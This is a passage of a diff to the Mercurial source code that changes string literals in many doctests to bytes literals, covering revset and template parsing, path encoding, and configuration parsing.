-    ...       ('or',
-    ...         ('func',
-    ...           ('symbol', 'sort'),
-    ...           ('list',
-    ...             ('or',
-    ...               ('or',
-    ...                 ('symbol', '1'),
-    ...                 ('symbol', '2')),
-    ...               ('symbol', '3')),
-    ...             ('negate',
-    ...               ('symbol', 'rev')))),
-    ...         ('and',
-    ...           ('symbol', '4'),
-    ...           ('group',
-    ...             ('or',
-    ...               ('or',
-    ...                 ('symbol', '5'),
-    ...                 ('symbol', '6')),
-    ...               ('symbol', '7'))))),
-    ...       ('symbol', '8'))))
+    >>> f((b'func',
+    ...     (b'symbol', b'p1'),
+    ...     (b'or',
+    ...       (b'or',
+    ...         (b'func',
+    ...           (b'symbol', b'sort'),
+    ...           (b'list',
+    ...             (b'or',
+    ...               (b'or',
+    ...                 (b'symbol', b'1'),
+    ...                 (b'symbol', b'2')),
+    ...               (b'symbol', b'3')),
+    ...             (b'negate',
+    ...               (b'symbol', b'rev')))),
+    ...         (b'and',
+    ...           (b'symbol', b'4'),
+    ...           (b'group',
+    ...             (b'or',
+    ...               (b'or',
+    ...                 (b'symbol', b'5'),
+    ...                 (b'symbol', b'6')),
+    ...               (b'symbol', b'7'))))),
+    ...       (b'symbol', b'8'))))
     (func
       (symbol 'p1')
       (or
@@ -304,13 +304,13 @@
 def buildtree(template, placeholder, *repls):
     """Create new tree by substituting placeholders by replacements
 
-    >>> _ = ('symbol', '_')
+    >>> _ = (b'symbol', b'_')
     >>> def f(template, *repls):
     ...     return buildtree(template, _, *repls)
-    >>> f(('func', ('symbol', 'only'), ('list', _, _)),
+    >>> f((b'func', (b'symbol', b'only'), (b'list', _, _)),
     ...   ('symbol', '1'), ('symbol', '2'))
     ('func', ('symbol', 'only'), ('list', ('symbol', '1'), ('symbol', '2')))
-    >>> f(('and', _, ('not', _)), ('symbol', '1'), ('symbol', '2'))
+    >>> f((b'and', _, (b'not', _)), (b'symbol', b'1'), (b'symbol', b'2'))
     ('and', ('symbol', '1'), ('not', ('symbol', '2')))
     """
     if not isinstance(placeholder, tuple):
@@ -339,34 +339,34 @@
     matched with the placeholder; Otherwise None
 
     >>> def f(pattern, tree):
-    ...     m = matchtree(pattern, tree, _, {'keyvalue', 'list'})
+    ...     m = matchtree(pattern, tree, _, {b'keyvalue', b'list'})
     ...     if m:
     ...         return m[1:]
 
-    >>> _ = ('symbol', '_')
-    >>> f(('func', ('symbol', 'ancestors'), _),
-    ...   ('func', ('symbol', 'ancestors'), ('symbol', '1')))
+    >>> _ = (b'symbol', b'_')
+    >>> f((b'func', (b'symbol', b'ancestors'), _),
+    ...   (b'func', (b'symbol', b'ancestors'), (b'symbol', b'1')))
     [('symbol', '1')]
-    >>> f(('func', ('symbol', 'ancestors'), _),
-    ...   ('func', ('symbol', 'ancestors'), None))
-    >>> f(('range', ('dagrange', _, _), _),
-    ...   ('range',
-    ...     ('dagrange', ('symbol', '1'), ('symbol', '2')),
-    ...     ('symbol', '3')))
+    >>> f((b'func', (b'symbol', b'ancestors'), _),
+    ...   (b'func', (b'symbol', b'ancestors'), None))
+    >>> f((b'range', (b'dagrange', _, _), _),
+    ...   (b'range',
+    ...     (b'dagrange', (b'symbol', b'1'), (b'symbol', b'2')),
+    ...     (b'symbol', b'3')))
     [('symbol', '1'), ('symbol', '2'), ('symbol', '3')]
 
     The placeholder does not match the specified incomplete nodes because
     an incomplete node (e.g. argument list) cannot construct an expression.
 
-    >>> f(('func', ('symbol', 'ancestors'), _),
-    ...   ('func', ('symbol', 'ancestors'),
-    ...     ('list', ('symbol', '1'), ('symbol', '2'))))
+    >>> f((b'func', (b'symbol', b'ancestors'), _),
+    ...   (b'func', (b'symbol', b'ancestors'),
+    ...     (b'list', (b'symbol', b'1'), (b'symbol', b'2'))))
 
     The placeholder may be omitted, but which shouldn't match a None node.
 
     >>> _ = None
-    >>> f(('func', ('symbol', 'ancestors'), None),
-    ...   ('func', ('symbol', 'ancestors'), ('symbol', '0')))
+    >>> f((b'func', (b'symbol', b'ancestors'), None),
+    ...   (b'func', (b'symbol', b'ancestors'), (b'symbol', b'0')))
     """
     if placeholder is not None and not isinstance(placeholder, tuple):
         raise error.ProgrammingError('placeholder must be a node tuple')
@@ -436,27 +436,27 @@
         - ``args``: list of argument names (or None for symbol declaration)
         - ``errorstr``: detail about detected error (or None)
 
-        >>> sym = lambda x: ('symbol', x)
-        >>> symlist = lambda *xs: ('list',) + tuple(sym(x) for x in xs)
-        >>> func = lambda n, a: ('func', sym(n), a)
+        >>> sym = lambda x: (b'symbol', x)
+        >>> symlist = lambda *xs: (b'list',) + tuple(sym(x) for x in xs)
+        >>> func = lambda n, a: (b'func', sym(n), a)
         >>> parsemap = {
-        ...     'foo': sym('foo'),
-        ...     '$foo': sym('$foo'),
-        ...     'foo::bar': ('dagrange', sym('foo'), sym('bar')),
-        ...     'foo()': func('foo', None),
-        ...     '$foo()': func('$foo', None),
-        ...     'foo($1, $2)': func('foo', symlist('$1', '$2')),
-        ...     'foo(bar_bar, baz.baz)':
-        ...         func('foo', symlist('bar_bar', 'baz.baz')),
-        ...     'foo(bar($1, $2))':
-        ...         func('foo', func('bar', symlist('$1', '$2'))),
-        ...     'foo($1, $2, nested($1, $2))':
-        ...         func('foo', (symlist('$1', '$2') +
-        ...                      (func('nested', symlist('$1', '$2')),))),
-        ...     'foo("bar")': func('foo', ('string', 'bar')),
-        ...     'foo($1, $2': error.ParseError('unexpected token: end', 10),
-        ...     'foo("bar': error.ParseError('unterminated string', 5),
-        ...     'foo($1, $2, $1)': func('foo', symlist('$1', '$2', '$1')),
+        ...     b'foo': sym(b'foo'),
+        ...     b'$foo': sym(b'$foo'),
+        ...     b'foo::bar': (b'dagrange', sym(b'foo'), sym(b'bar')),
+        ...     b'foo()': func(b'foo', None),
+        ...     b'$foo()': func(b'$foo', None),
+        ...     b'foo($1, $2)': func(b'foo', symlist(b'$1', b'$2')),
+        ...     b'foo(bar_bar, baz.baz)':
+        ...         func(b'foo', symlist(b'bar_bar', b'baz.baz')),
+        ...     b'foo(bar($1, $2))':
+        ...         func(b'foo', func(b'bar', symlist(b'$1', b'$2'))),
+        ...     b'foo($1, $2, nested($1, $2))':
+        ...         func(b'foo', (symlist(b'$1', b'$2') +
+        ...                      (func(b'nested', symlist(b'$1', b'$2')),))),
+        ...     b'foo("bar")': func(b'foo', (b'string', b'bar')),
+        ...     b'foo($1, $2': error.ParseError(b'unexpected token: end', 10),
+        ...     b'foo("bar': error.ParseError(b'unterminated string', 5),
+        ...     b'foo($1, $2, $1)': func(b'foo', symlist(b'$1', b'$2', b'$1')),
         ... }
         >>> def parse(expr):
         ...     x = parsemap[expr]
@@ -464,42 +464,42 @@
         ...         raise x
         ...     return x
         >>> def trygetfunc(tree):
-        ...     if not tree or tree[0] != 'func' or tree[1][0] != 'symbol':
+        ...     if not tree or tree[0] != b'func' or tree[1][0] != b'symbol':
         ...         return None
         ...     if not tree[2]:
         ...         return tree[1][1], []
-        ...     if tree[2][0] == 'list':
+        ...     if tree[2][0] == b'list':
         ...         return tree[1][1], list(tree[2][1:])
         ...     return tree[1][1], [tree[2]]
         >>> class aliasrules(basealiasrules):
         ...     _parse = staticmethod(parse)
         ...     _trygetfunc = staticmethod(trygetfunc)
         >>> builddecl = aliasrules._builddecl
-        >>> builddecl('foo')
+        >>> builddecl(b'foo')
         ('foo', None, None)
-        >>> builddecl('$foo')
+        >>> builddecl(b'$foo')
         ('$foo', None, "invalid symbol '$foo'")
-        >>> builddecl('foo::bar')
+        >>> builddecl(b'foo::bar')
         ('foo::bar', None, 'invalid format')
-        >>> builddecl('foo()')
+        >>> builddecl(b'foo()')
         ('foo', [], None)
-        >>> builddecl('$foo()')
+        >>> builddecl(b'$foo()')
         ('$foo()', None, "invalid function '$foo'")
-        >>> builddecl('foo($1, $2)')
+        >>> builddecl(b'foo($1, $2)')
         ('foo', ['$1', '$2'], None)
-        >>> builddecl('foo(bar_bar, baz.baz)')
+        >>> builddecl(b'foo(bar_bar, baz.baz)')
         ('foo', ['bar_bar', 'baz.baz'], None)
-        >>> builddecl('foo($1, $2, nested($1, $2))')
+        >>> builddecl(b'foo($1, $2, nested($1, $2))')
         ('foo($1, $2, nested($1, $2))', None, 'invalid argument list')
-        >>> builddecl('foo(bar($1, $2))')
+        >>> builddecl(b'foo(bar($1, $2))')
         ('foo(bar($1, $2))', None, 'invalid argument list')
-        >>> builddecl('foo("bar")')
+        >>> builddecl(b'foo("bar")')
         ('foo("bar")', None, 'invalid argument list')
-        >>> builddecl('foo($1, $2')
+        >>> builddecl(b'foo($1, $2')
         ('foo($1, $2', None, 'at 10: unexpected token: end')
-        >>> builddecl('foo("bar')
+        >>> builddecl(b'foo("bar')
         ('foo("bar', None, 'at 5: unterminated string')
-        >>> builddecl('foo($1, $2, $1)')
+        >>> builddecl(b'foo($1, $2, $1)')
         ('foo', None, 'argument names collide with each other')
         """
         try:
@@ -556,33 +556,36 @@
         is declared as a symbol.
 
         >>> parsemap = {
-        ...     '$1 or foo': ('or', ('symbol', '$1'), ('symbol', 'foo')),
-        ...     '$1 or $bar': ('or', ('symbol', '$1'), ('symbol', '$bar')),
-        ...     '$10 or baz': ('or', ('symbol', '$10'), ('symbol', 'baz')),
-        ...     '"$1" or "foo"': ('or', ('string', '$1'), ('string', 'foo')),
+        ...     b'$1 or foo': (b'or', (b'symbol', b'$1'), (b'symbol', b'foo')),
+        ...     b'$1 or $bar':
+        ...         (b'or', (b'symbol', b'$1'), (b'symbol', b'$bar')),
+        ...     b'$10 or baz':
+        ...         (b'or', (b'symbol', b'$10'), (b'symbol', b'baz')),
+        ...     b'"$1" or "foo"':
+        ...         (b'or', (b'string', b'$1'), (b'string', b'foo')),
         ... }
         >>> class aliasrules(basealiasrules):
         ...     _parse = staticmethod(parsemap.__getitem__)
         ...     _trygetfunc = staticmethod(lambda x: None)
         >>> builddefn = aliasrules._builddefn
         >>> def pprint(tree):
-        ...     print prettyformat(tree, ('_aliasarg', 'string', 'symbol'))
-        >>> args = ['$1', '$2', 'foo']
-        >>> pprint(builddefn('$1 or foo', args))
+        ...     print prettyformat(tree, (b'_aliasarg', b'string', b'symbol'))
+        >>> args = [b'$1', b'$2', b'foo']
+        >>> pprint(builddefn(b'$1 or foo', args))
         (or
           (_aliasarg '$1')
           (_aliasarg 'foo'))
         >>> try:
-        ...     builddefn('$1 or $bar', args)
+        ...     builddefn(b'$1 or $bar', args)
         ... except error.ParseError as inst:
         ...     print parseerrordetail(inst)
         invalid symbol '$bar'
-        >>> args = ['$1', '$10', 'foo']
-        >>> pprint(builddefn('$10 or baz', args))
+        >>> args = [b'$1', b'$10', b'foo']
+        >>> pprint(builddefn(b'$10 or baz', args))
         (or
           (_aliasarg '$10')
           (symbol 'baz'))
-        >>> pprint(builddefn('"$1" or "foo"', args))
+        >>> pprint(builddefn(b'"$1" or "foo"', args))
         (or
           (string '$1')
           (string 'foo'))
diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -1479,7 +1479,7 @@
     This function operates on hunks coming out of patch.filterpatch, that is
     a list of the form: [header1, hunk1, hunk2, header2...]. Example usage:
 
-    >>> rawpatch = """diff --git a/folder1/g b/folder1/g
+    >>> rawpatch = b"""diff --git a/folder1/g b/folder1/g
     ... --- a/folder1/g
     ... +++ b/folder1/g
     ... @@ -1,7 +1,7 @@
@@ -1541,7 +1541,7 @@
 
     If maxcontext is not None, trim context lines if necessary.
 
-    >>> rawpatch = '''diff --git a/folder1/g b/folder1/g
+    >>> rawpatch = b'''diff --git a/folder1/g b/folder1/g
     ... --- a/folder1/g
     ... +++ b/folder1/g
     ... @@ -1,8 +1,10 @@
@@ -1667,17 +1667,17 @@
 
     Returns (stripped components, path in repository).
 
-    >>> pathtransform('a/b/c', 0, '')
+    >>> pathtransform(b'a/b/c', 0, b'')
     ('', 'a/b/c')
-    >>> pathtransform('   a/b/c   ', 0, '')
+    >>> pathtransform(b'   a/b/c   ', 0, b'')
     ('', '   a/b/c')
-    >>> pathtransform('   a/b/c   ', 2, '')
+    >>> pathtransform(b'   a/b/c   ', 2, b'')
     ('a/b/', 'c')
-    >>> pathtransform('a/b/c', 0, 'd/e/')
+    >>> pathtransform(b'a/b/c', 0, b'd/e/')
     ('', 'd/e/a/b/c')
-    >>> pathtransform('   a//b/c   ', 2, 'd/e/')
+    >>> pathtransform(b'   a//b/c   ', 2, b'd/e/')
     ('a//b/', 'd/e/c')
-    >>> pathtransform('a/b/c', 3, '')
+    >>> pathtransform(b'a/b/c', 3, b'')
     Traceback (most recent call last):
     PatchError: unable to strip away 1 of 3 dirs from a/b/c
     '''
diff --git a/mercurial/pathutil.py b/mercurial/pathutil.py
--- a/mercurial/pathutil.py
+++ b/mercurial/pathutil.py
@@ -203,9 +203,9 @@
 
     See also issue3033 for detail about need of this function.
 
-    >>> normasprefix('/foo/bar').replace(os.sep, '/')
+    >>> normasprefix(b'/foo/bar').replace(os.sep, b'/')
     '/foo/bar/'
-    >>> normasprefix('/').replace(os.sep, '/')
+    >>> normasprefix(b'/').replace(os.sep, b'/')
     '/'
     '''
     d, p = os.path.splitdrive(path)
diff --git a/mercurial/posix.py b/mercurial/posix.py
--- a/mercurial/posix.py
+++ b/mercurial/posix.py
@@ -52,14 +52,14 @@
     '''Same as posixpath.split, but faster
 
     >>> import posixpath
-    >>> for f in ['/absolute/path/to/file',
-    ...           'relative/path/to/file',
-    ...           'file_alone',
-    ...           'path/to/directory/',
-    ...           '/multiple/path//separators',
-    ...           '/file_at_root',
-    ...           '///multiple_leading_separators_at_root',
-    ...           '']:
+    >>> for f in [b'/absolute/path/to/file',
+    ...           b'relative/path/to/file',
+    ...           b'file_alone',
+    ...           b'path/to/directory/',
+    ...           b'/multiple/path//separators',
+    ...           b'/file_at_root',
+    ...           b'///multiple_leading_separators_at_root',
+    ...           b'']:
     ...     assert split(f) == posixpath.split(f), f
     '''
     ht = p.rsplit('/', 1)
@@ -342,13 +342,13 @@
         - lowercase
         - omit ignored characters [200c-200f, 202a-202e, 206a-206f,feff]
 
-        >>> normcase('UPPER')
+        >>> normcase(b'UPPER')
         'upper'
-        >>> normcase('Caf\xc3\xa9')
+        >>> normcase(b'Caf\xc3\xa9')
         'cafe\\xcc\\x81'
-        >>> normcase('\xc3\x89')
+        >>> normcase(b'\xc3\x89')
         'e\\xcc\\x81'
-        >>> normcase('\xb8\xca\xc3\xca\xbe\xc8.JPG') # issue3918
+        >>> normcase(b'\xb8\xca\xc3\xca\xbe\xc8.JPG') # issue3918
         '%b8%ca%c3\\xca\\xbe%c8.jpg'
         '''
 
diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -78,7 +78,7 @@
     letters of symbols, if ``c.isalnum() or c in '-._/@' or ord(c) > 127``.
 
     Check that @ is a valid unquoted token character (issue3686):
-    >>> list(tokenize("@::"))
+    >>> list(tokenize(b"@::"))
     [('symbol', '@', 0), ('::', None, 1), ('end', None, 3)]
 
     '''
@@ -252,7 +252,7 @@
 def _build(tmplspec, *repls):
     """Create raw parsed tree from a template revset statement
 
-    >>> _build('f(_) and _', ('string', '1'), ('symbol', '2'))
+    >>> _build(b'f(_) and _', (b'string', b'1'), (b'symbol', b'2'))
     ('and', ('func', ('symbol', 'f'), ('string', '1')), ('symbol', '2'))
     """
     template = _cachedtree(tmplspec)
@@ -261,10 +261,10 @@
 def _match(patspec, tree):
     """Test if a tree matches the given pattern statement; return the matches
 
-    >>> _match('f(_)', parse('f()'))
-    >>> _match('f(_)', parse('f(1)'))
+    >>> _match(b'f(_)', parse(b'f()'))
+    >>> _match(b'f(_)', parse(b'f(1)'))
     [('func', ('symbol', 'f'), ('symbol', '1')), ('symbol', '1')]
-    >>> _match('f(_)', parse('f(1, 2)'))
+    >>> _match(b'f(_)', parse(b'f(1, 2)'))
     """
     pattern = _cachedtree(patspec)
     return parser.matchtree(pattern, tree, ('symbol', '_'),
@@ -478,13 +478,13 @@
 def _parsewith(spec, lookup=None, syminitletters=None):
     """Generate a parse tree of given spec with given tokenizing options
 
-    >>> _parsewith('foo($1)', syminitletters=_aliassyminitletters)
+    >>> _parsewith(b'foo($1)', syminitletters=_aliassyminitletters)
     ('func', ('symbol', 'foo'), ('symbol', '$1'))
-    >>> _parsewith('$1')
+    >>> _parsewith(b'$1')
     Traceback (most recent call last):
       ...
     ParseError: ("syntax error in revset '$1'", 0)
-    >>> _parsewith('foo bar')
+    >>> _parsewith(b'foo bar')
     Traceback (most recent call last):
       ...
     ParseError: ('invalid token', 4)
@@ -554,11 +554,11 @@
 def _quote(s):
     r"""Quote a value in order to make it safe for the revset engine.
 
-    >>> _quote('asdf')
+    >>> _quote(b'asdf')
     "'asdf'"
-    >>> _quote("asdf'\"")
+    >>> _quote(b"asdf'\"")
     '\'asdf\\\'"\''
-    >>> _quote('asdf\'')
+    >>> _quote(b'asdf\'')
     "'asdf\\''"
     >>> _quote(1)
     "'1'"
@@ -582,19 +582,19 @@
 
     Prefixing the type with 'l' specifies a parenthesized list of that type.
 
-    >>> formatspec('%r:: and %lr', '10 or 11', ("this()", "that()"))
+    >>> formatspec(b'%r:: and %lr', b'10 or 11', (b"this()", b"that()"))
     '(10 or 11):: and ((this()) or (that()))'
-    >>> formatspec('%d:: and not %d::', 10, 20)
+    >>> formatspec(b'%d:: and not %d::', 10, 20)
     '10:: and not 20::'
-    >>> formatspec('%ld or %ld', [], [1])
+    >>> formatspec(b'%ld or %ld', [], [1])
     "_list('') or 1"
-    >>> formatspec('keyword(%s)', 'foo\\xe9')
+    >>> formatspec(b'keyword(%s)', b'foo\\xe9')
     "keyword('foo\\\\xe9')"
-    >>> b = lambda: 'default'
+    >>> b = lambda: b'default'
     >>> b.branch = b
-    >>> formatspec('branch(%b)', b)
+    >>> formatspec(b'branch(%b)', b)
     "branch('default')"
-    >>> formatspec('root(%ls)', ['a', 'b', 'c', 'd'])
+    >>> formatspec(b'root(%ls)', [b'a', b'b', b'c', b'd'])
     "root(_list('a\\x00b\\x00c\\x00d'))"
     '''
 
diff --git a/mercurial/store.py b/mercurial/store.py
--- a/mercurial/store.py
+++ b/mercurial/store.py
@@ -27,13 +27,13 @@
 # foo.i or foo.d
 def _encodedir(path):
     '''
-    >>> _encodedir('data/foo.i')
+    >>> _encodedir(b'data/foo.i')
     'data/foo.i'
-    >>> _encodedir('data/foo.i/bla.i')
+    >>> _encodedir(b'data/foo.i/bla.i')
     'data/foo.i.hg/bla.i'
-    >>> _encodedir('data/foo.i.hg/bla.i')
+    >>> _encodedir(b'data/foo.i.hg/bla.i')
     'data/foo.i.hg.hg/bla.i'
-    >>> _encodedir('data/foo.i\\ndata/foo.i/bla.i\\ndata/foo.i.hg/bla.i\\n')
+    >>> _encodedir(b'data/foo.i\\ndata/foo.i/bla.i\\ndata/foo.i.hg/bla.i\\n')
     'data/foo.i\\ndata/foo.i.hg/bla.i\\ndata/foo.i.hg.hg/bla.i\\n'
     '''
     return (path
@@ -45,11 +45,11 @@
 
 def decodedir(path):
     '''
-    >>> decodedir('data/foo.i')
+    >>> decodedir(b'data/foo.i')
     'data/foo.i'
-    >>> decodedir('data/foo.i.hg/bla.i')
+    >>> decodedir(b'data/foo.i.hg/bla.i')
     'data/foo.i/bla.i'
-    >>> decodedir('data/foo.i.hg.hg/bla.i')
+    >>> decodedir(b'data/foo.i.hg.hg/bla.i')
     'data/foo.i.hg/bla.i'
     '''
     if ".hg/" not in path:
@@ -80,24 +80,24 @@
     '''
     >>> enc, dec = _buildencodefun()
 
-    >>> enc('nothing/special.txt')
+    >>> enc(b'nothing/special.txt')
     'nothing/special.txt'
-    >>> dec('nothing/special.txt')
+    >>> dec(b'nothing/special.txt')
     'nothing/special.txt'
 
-    >>> enc('HELLO')
+    >>> enc(b'HELLO')
     '_h_e_l_l_o'
-    >>> dec('_h_e_l_l_o')
+    >>> dec(b'_h_e_l_l_o')
     'HELLO'
 
-    >>> enc('hello:world?')
+    >>> enc(b'hello:world?')
     'hello~3aworld~3f'
-    >>> dec('hello~3aworld~3f')
+    >>> dec(b'hello~3aworld~3f')
     'hello:world?'
 
-    >>> enc('the\x07quick\xADshot')
+    >>> enc(b'the\x07quick\xADshot')
     'the~07quick~adshot'
-    >>> dec('the~07quick~adshot')
+    >>> dec(b'the~07quick~adshot')
     'the\\x07quick\\xadshot'
     '''
     e = '_'
@@ -133,14 +133,14 @@
 
 def encodefilename(s):
     '''
-    >>> encodefilename('foo.i/bar.d/bla.hg/hi:world?/HELLO')
+    >>> encodefilename(b'foo.i/bar.d/bla.hg/hi:world?/HELLO')
     'foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o'
     '''
     return _encodefname(encodedir(s))
 
 def decodefilename(s):
     '''
-    >>> decodefilename('foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o')
+    >>> decodefilename(b'foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o')
     'foo.i/bar.d/bla.hg/hi:world?/HELLO'
     '''
     return decodedir(_decodefname(s))
@@ -148,13 +148,13 @@
 def _buildlowerencodefun():
     '''
     >>> f = _buildlowerencodefun()
-    >>> f('nothing/special.txt')
+    >>> f(b'nothing/special.txt')
     'nothing/special.txt'
-    >>> f('HELLO')
+    >>> f(b'HELLO')
     'hello'
-    >>> f('hello:world?')
+    >>> f(b'hello:world?')
     'hello~3aworld~3f'
-    >>> f('the\x07quick\xADshot')
+    >>> f(b'the\x07quick\xADshot')
     'the~07quick~adshot'
     '''
     cmap = dict([(chr(x), chr(x)) for x in xrange(127)])
@@ -180,15 +180,15 @@
     basename (e.g. "aux", "aux.foo"). A directory or file named "foo.aux"
     doesn't need encoding.
 
-    >>> s = '.foo/aux.txt/txt.aux/con/prn/nul/foo.'
-    >>> _auxencode(s.split('/'), True)
+    >>> s = b'.foo/aux.txt/txt.aux/con/prn/nul/foo.'
+    >>> _auxencode(s.split(b'/'), True)
     ['~2efoo', 'au~78.txt', 'txt.aux', 'co~6e', 'pr~6e', 'nu~6c', 'foo~2e']
-    >>> s = '.com1com2/lpt9.lpt4.lpt1/conprn/com0/lpt0/foo.'
-    >>> _auxencode(s.split('/'), False)
+    >>> s = b'.com1com2/lpt9.lpt4.lpt1/conprn/com0/lpt0/foo.'
+    >>> _auxencode(s.split(b'/'), False)
     ['.com1com2', 'lp~749.lpt4.lpt1', 'conprn', 'com0', 'lpt0', 'foo~2e']
-    >>> _auxencode(['foo. '], True)
+    >>> _auxencode([b'foo. '], True)
     ['foo.~20']
-    >>> _auxencode([' .foo'], True)
+    >>> _auxencode([b' .foo'], True)
     ['~20.foo']
     '''
     for i, n in enumerate(path):
diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -1388,23 +1388,23 @@
         '''ensure git version is new enough
 
         >>> _checkversion = gitsubrepo._checkversion
-        >>> _checkversion('git version 1.6.0')
+        >>> _checkversion(b'git version 1.6.0')
         'ok'
-        >>> _checkversion('git version 1.8.5')
+        >>> _checkversion(b'git version 1.8.5')
         'ok'
-        >>> _checkversion('git version 1.4.0')
+        >>> _checkversion(b'git version 1.4.0')
         'abort'
-        >>> _checkversion('git version 1.5.0')
+        >>> _checkversion(b'git version 1.5.0')
         'warning'
-        >>> _checkversion('git version 1.9-rc0')
+        >>> _checkversion(b'git version 1.9-rc0')
         'ok'
-        >>> _checkversion('git version 1.9.0.265.g81cdec2')
+        >>> _checkversion(b'git version 1.9.0.265.g81cdec2')
         'ok'
-        >>> _checkversion('git version 1.9.0.GIT')
+        >>> _checkversion(b'git version 1.9.0.GIT')
         'ok'
-        >>> _checkversion('git version 12345')
+        >>> _checkversion(b'git version 12345')
         'unknown'
-        >>> _checkversion('no')
+        >>> _checkversion(b'no')
         'unknown'
         '''
         version = gitsubrepo._gitversion(out)
diff --git a/mercurial/templatefilters.py b/mercurial/templatefilters.py
--- a/mercurial/templatefilters.py
+++ b/mercurial/templatefilters.py
@@ -275,19 +275,19 @@
     """Any text. Returns the name before an email address,
     interpreting it as per RFC 5322.
 
-    >>> person('foo@bar')
+    >>> person(b'foo@bar')
     'foo'
-    >>> person('Foo Bar <foo@bar>')
+    >>> person(b'Foo Bar <foo@bar>')
     'Foo Bar'
-    >>> person('"Foo Bar" <foo@bar>')
+    >>> person(b'"Foo Bar" <foo@bar>')
     'Foo Bar'
-    >>> person('"Foo \"buz\" Bar" <foo@bar>')
+    >>> person(b'"Foo \"buz\" Bar" <foo@bar>')
     'Foo "buz" Bar'
     >>> # The following are invalid, but do exist in real-life
     ...
-    >>> person('Foo "buz" Bar <foo@bar>')
+    >>> person(b'Foo "buz" Bar <foo@bar>')
     'Foo "buz" Bar'
-    >>> person('"Foo Bar <foo@bar>')
+    >>> person(b'"Foo Bar <foo@bar>')
     'Foo Bar'
     """
     if '@' not in author:
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -147,15 +147,15 @@
 
 def _parsetemplate(tmpl, start, stop, quote=''):
     r"""
-    >>> _parsetemplate('foo{bar}"baz', 0, 12)
+    >>> _parsetemplate(b'foo{bar}"baz', 0, 12)
     ([('string', 'foo'), ('symbol', 'bar'), ('string', '"baz')], 12)
-    >>> _parsetemplate('foo{bar}"baz', 0, 12, quote='"')
+    >>> _parsetemplate(b'foo{bar}"baz', 0, 12, quote=b'"')
     ([('string', 'foo'), ('symbol', 'bar')], 9)
-    >>> _parsetemplate('foo"{bar}', 0, 9, quote='"')
+    >>> _parsetemplate(b'foo"{bar}', 0, 9, quote=b'"')
     ([('string', 'foo')], 4)
-    >>> _parsetemplate(r'foo\"bar"baz', 0, 12, quote='"')
+    >>> _parsetemplate(br'foo\"bar"baz', 0, 12, quote=b'"')
     ([('string', 'foo"'), ('string', 'bar')], 9)
-    >>> _parsetemplate(r'foo\\"bar', 0, 10, quote='"')
+    >>> _parsetemplate(br'foo\\"bar', 0, 10, quote=b'"')
     ([('string', 'foo\\')], 6)
     """
     parsed = []
@@ -193,18 +193,18 @@
 
     >>> def f(tree):
     ...     print prettyformat(_unnesttemplatelist(tree))
-    >>> f(('template', []))
+    >>> f((b'template', []))
     (string '')
-    >>> f(('template', [('string', 'foo')]))
+    >>> f((b'template', [(b'string', b'foo')]))
     (string 'foo')
-    >>> f(('template', [('string', 'foo'), ('symbol', 'rev')]))
+    >>> f((b'template', [(b'string', b'foo'), (b'symbol', b'rev')]))
     (template
       (string 'foo')
       (symbol 'rev'))
-    >>> f(('template', [('symbol', 'rev')]))  # template(rev) -> str
+    >>> f((b'template', [(b'symbol', b'rev')]))  # template(rev) -> str
     (template
       (symbol 'rev'))
-    >>> f(('template', [('template', [('string', 'foo')])]))
+    >>> f((b'template', [(b'template', [(b'string', b'foo')])]))
     (string 'foo')
     """
     if not isinstance(tree, tuple):
@@ -231,15 +231,15 @@
 def _parseexpr(expr):
     """Parse a template expression into tree
 
-    >>> _parseexpr('"foo"')
+    >>> _parseexpr(b'"foo"')
     ('string', 'foo')
-    >>> _parseexpr('foo(bar)')
+    >>> _parseexpr(b'foo(bar)')
     ('func', ('symbol', 'foo'), ('symbol', 'bar'))
-    >>> _parseexpr('foo(')
+    >>> _parseexpr(b'foo(')
     Traceback (most recent call last):
       ...
     ParseError: ('not a prefix: end', 4)
-    >>> _parseexpr('"foo" "bar"')
+    >>> _parseexpr(b'"foo" "bar"')
     Traceback (most recent call last):
       ...
     ParseError: ('invalid token', 7)
@@ -489,10 +489,10 @@
     ...     x = _parseexpr(expr)
     ...     n = getsymbol(x[1])
     ...     return _buildfuncargs(x[2], context, exprmethods, n, argspec)
-    >>> fargs('a(l=1, k=2)', 'k l m').keys()
+    >>> fargs(b'a(l=1, k=2)', b'k l m').keys()
     ['l', 'k']
-    >>> args = fargs('a(opts=1, k=2)', '**opts')
-    >>> args.keys(), args['opts'].keys()
+    >>> args = fargs(b'a(opts=1, k=2)', b'**opts')
+    >>> args.keys(), args[b'opts'].keys()
     (['opts'], ['opts', 'k'])
     """
     def compiledict(xs):
diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -531,19 +531,19 @@
     def configbool(self, section, name, default=_unset, untrusted=False):
         """parse a configuration element as a boolean
 
-        >>> u = ui(); s = 'foo'
-        >>> u.setconfig(s, 'true', 'yes')
-        >>> u.configbool(s, 'true')
+        >>> u = ui(); s = b'foo'
+        >>> u.setconfig(s, b'true', b'yes')
+        >>> u.configbool(s, b'true')
         True
-        >>> u.setconfig(s, 'false', 'no')
-        >>> u.configbool(s, 'false')
+        >>> u.setconfig(s, b'false', b'no')
+        >>> u.configbool(s, b'false')
         False
-        >>> u.configbool(s, 'unknown')
+        >>> u.configbool(s, b'unknown')
         False
-        >>> u.configbool(s, 'unknown', True)
+        >>> u.configbool(s, b'unknown', True)
         True
-        >>> u.setconfig(s, 'invalid', 'somevalue')
-        >>> u.configbool(s, 'invalid')
+        >>> u.setconfig(s, b'invalid', b'somevalue')
+        >>> u.configbool(s, b'invalid')
         Traceback (most recent call last):
             ...
         ConfigError: foo.invalid is not a boolean ('somevalue')
@@ -568,21 +568,21 @@
                    desc=None, untrusted=False):
         """parse a configuration element with a conversion function
 
-        >>> u = ui(); s = 'foo'
-        >>> u.setconfig(s, 'float1', '42')
-        >>> u.configwith(float, s, 'float1')
+        >>> u = ui(); s = b'foo'
+        >>> u.setconfig(s, b'float1', b'42')
+        >>> u.configwith(float, s, b'float1')
         42.0
